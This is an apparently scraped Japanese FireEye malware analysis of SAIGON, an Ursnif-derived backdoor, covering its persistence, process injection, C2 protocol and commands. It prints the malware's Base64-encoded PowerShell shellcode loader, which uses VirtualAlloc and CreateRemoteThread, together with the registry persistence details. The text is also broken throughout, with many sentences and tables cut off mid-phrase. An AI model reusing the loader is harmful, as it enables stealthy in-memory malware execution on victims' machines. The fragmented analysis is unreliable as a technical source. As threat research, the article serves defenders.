カスタマー・ポータルサポートを利用カスタマー・サポート疑問を解決プログラムサポートに関するお知らせサポート対象製品コミュニティドキュメント・ポータルサポートFireEyeは、専門家が24時間365日体制で対応するグローバルサポート・ネットワークを構築しています。パートナー様を支援する登録制ポータルサイト。案件登録、トレーニング情報にアクセスできます。industryUrsnif(別名Gozi/Gozi-ISFB)は、現在も盛んに配布されている、古いバンキング・マルウェア・ファミリーの1つです。Ursnifの最初のメジャーバージョンは2006年に確認され、ソースコードが流出したため、いくつかのバージョンが後続してリリースされています。Intelligenceサブスクリプション契約者に、以前は確認されていないUrsnifマルウェア・ファミリーの亜種について報告しました。132」と自己同一性があり、解析の結果、Ursnifの亜種v3(RM3)のソースコードをベースにしている可能性が高そうです。SAIGONの機能は、本格的なバンキング・マルウェアというより汎用的なバックドアであり、おそらく、標的型サイバー犯罪攻撃に使用するよう調整されているようです。振る舞いSAIGONは、Base64エンコードされたシェルコードとしてレジストリ・キーに保存され、スケジュールされたタスクでPowerShellを使用して起動されます。他のUrsnif亜種と同様に、マルウェアの主なコンポーネントはDLLファイルです。このDLLには単一のエクスポートされた関数、DllRegisterServer(使用されない空の関数)を持っています。エントリーポイントでDLLがロードされて初期化されたときに、マルウェアのすべての関連機能が実行されます。最初の実行時に、マルウェアは作成時のタイムスタンプ、%SystemDrive%\pagefile.sysまたは%SystemDrive%\hiberfil.sysのどちらか最初に識別された方を使用して、マシンIDを生成します。興味深いことに、システム・ドライブは(SharedUserData→NtSystemRootを介して)KUSER_SHARED_DATA構造体から直接、一般的ではない方法で照会されます。KUSER_SHARED_DATAは、カーネル・メモリの特殊な部分に配置される構造体で、すべてのユーザーモード・プロセスのメモリ空間(したがって共有)にマッピングされ、常に固定メモリ・アドレス(SharedUserDataシンボルが指す0x7ffe0000)に配置されます。...)を呼び出すことで、現在のシェル・プロセスを探します。コードはまた、特別なチェックの機能も持っています。シェルの親プロセスの名前から計算されたチェックサムがexplorer.exeのチェックサム(0xc3c07cf0)と一致する場合、代わりに親プロセスにインジェクションを試みます。CreateRemoteThread関数の組み合わせを使用して、このプロセスにインジェクションします。このプロセスがインジェクションされると、バイナリ内に埋め込まれた2つのファイルを読み込みます。([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("JHdneG1qZ2J4dGo9JGhhbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWBucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEludFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCIpXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLCBVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzInIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6VmlydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskdGRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLCRtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG9jbm53a3ZvcSwzMDAwMCk7")));マルウェアは、このPowerShellスクリプト・テンプレートの「"@SOURCE@"」プレースホルダーをBase64エンコードされたバージョンのスクリプト自体に置き換え、「HKEY_CURRENT_USER\Identities\{<random_guid>}」レジストリ・キーの下にある「PsRun」というレジストリ値にPowerShellスクリプトを書き込みます(図1)。図1:PsRunに書き込まれたPowerShellスクリプト次に、SAIGONのインスタンスは、「Power<random_word>」(PowerSgsなど)という名称の新しいスケジュールされたタスク(図2)を作成します。これが何らかの理由で失敗した場合、「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run」レジストリ・キーを使用して、システムの再起動時にもインスタンス自身の持続性を維持できるようにします。図2:スケジュールされたタスク使用する持続的メカニズムにかかわらず、レジストリからバイナリを実行するコマンドは次のようになります。'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun」のようになります。(iex)を使用して実行されます。最後に、レジストリ内のPowerShellコードはメモリ・ブロックを割り当て、Base64デコードされたシェルコードをそこにコピーし、CreateRemoteThreadを使用して領域を指す新しいスレッドを起動し、スレッドが完了するまで待機します。以下のスクリプトは、非難読化して整えたPowerShellです。30000);マシンへの足がかりが確立されると、SAIGONは埋め込みのLOADER.INI構成ファイルをロードして解析し(詳しくは「設定」のセクションを参照)、メインのワーカー・スレッドを起動します。メインのワーカー・スレッドは、C2サーバーに対し、コマンドを継続的にポーリングします。data」と呼ばれる概念が組み込まれていました。初期の亜種は、PEヘッダーの後に特別な構造体を利用し、特定のマジック・バイト(「JF」、「FJ」、「J1」、「JJ」などUrsnifのバージョンによって異なる)のマークを付けていました。Directoryでポイントされ、マジック・バイトも「WD」(0x4457)に変更されています。v3結合データこの構造体は、バンドルされたファイルのさまざまなプロパティ(offset、size、type)を定義します。これは、SAIGONがその3つの埋め込みファイルを格納するために使用するメソッドとまったく同じです。次に、確認された設定オプションのリストを示します。v3と非常に似ています。POSTでmultipart/form-dataエンコードのリクエストとしてC2サーバーに送信されます。送信されるペイロードは、最初にSerpent暗号(ECBモード対CBCモード)を使用して暗号化され、次にBase64エンコードされます。サーバーからのレスポンスは、同じSerpentキーで暗号化され、サーバーのRSA秘密キーで署名されます。Firefox/58.0。x64」が追加されます。Agent文字列が生成されます。7の場合)リクエスト・フォーマットもまた、表2で説明する、他のUrsnif亜種で使用されているフォーマットと少し似ています。説明verボットのバージョン(他のUrsnif亜種とは異なり、ビルド番号を含むだけ。「3.5.xxx」のxxxの数字のみ)groupボットネットIDidクライアントIDtypeリクエスト・タイプ(0:タスクのポーリング時、6:システム情報データのアップロード時)uptimeマシンの稼働時間(秒単位)knockボットの「ノック」期間(C2への後続のリクエスト間の待機秒数。機能SAIGONは、表3で説明するbotコマンドを実装します。説明0x45d4bf54SELF_DELETEマシンから自身をアンインストールする。%s」を使用して実行する。v3とSAIGONの解析済みサンプルの類似点を示します(太字は異なる部分を表します)。v3.5?)持続性の維持の手法スケジュールされたタスク。PowerShellを使用してレジストリ・キーに格納されたコードを実行するスケジュールされたタスク。